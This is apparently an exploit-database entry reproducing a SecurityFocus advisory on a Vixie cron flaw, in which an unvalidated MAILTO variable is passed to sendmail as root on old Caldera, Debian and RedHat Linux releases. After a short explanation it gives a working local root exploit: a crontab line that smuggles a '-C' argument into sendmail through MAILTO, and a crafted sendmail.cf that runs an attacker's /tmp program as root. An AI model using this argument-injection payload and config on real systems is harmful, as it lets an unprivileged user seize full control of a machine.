Caldera OpenLinux 2.2 / Debian 2.1/2.2 / RedHat 6.0 - Vixie Cron MAILTO Sendmail

Caldera OpenLinux 2.2 ,Debian Linux 2.1/2.2,RedHat Linux <= 6.0 Vixie Cron MAILTO Sendmail Vulnerability

source: http://www.securityfocus.com/bid/611/info

Failure by the vixie cron daemon from validating the contents of a user supplied environment variable allow a malicious users to pass arbitrary command line arguments to sendmail while running as the root user.

The cron daemon uses the cron_popen function to send email to the user that queue commands for execution by cron. The user can set a MAILTO environment variable before calling cron to have it send the email to a different address. The cron daemon passes the contents of this environment variable to sendmail via the command line while executing as the root user. This allow a local malicious user to obtain root access. 


Set the user's crontab to

MAILTO=" -C/tmp/myexploitsendmail.cf"
* * * * * ls

In /tmp/myexploitsendmail.cf you basically modify the local mailer:

O DefaultUser=root:root
Mlocal, P=/tmp/hackme, F=lsDFMAw5:/|@qXfmnz9, S=10/30,
R=20/40,
T=DNS/RFC822/X-Unix,
A=mail.local -l

i.e. remove the S flag, and set DefaultUser.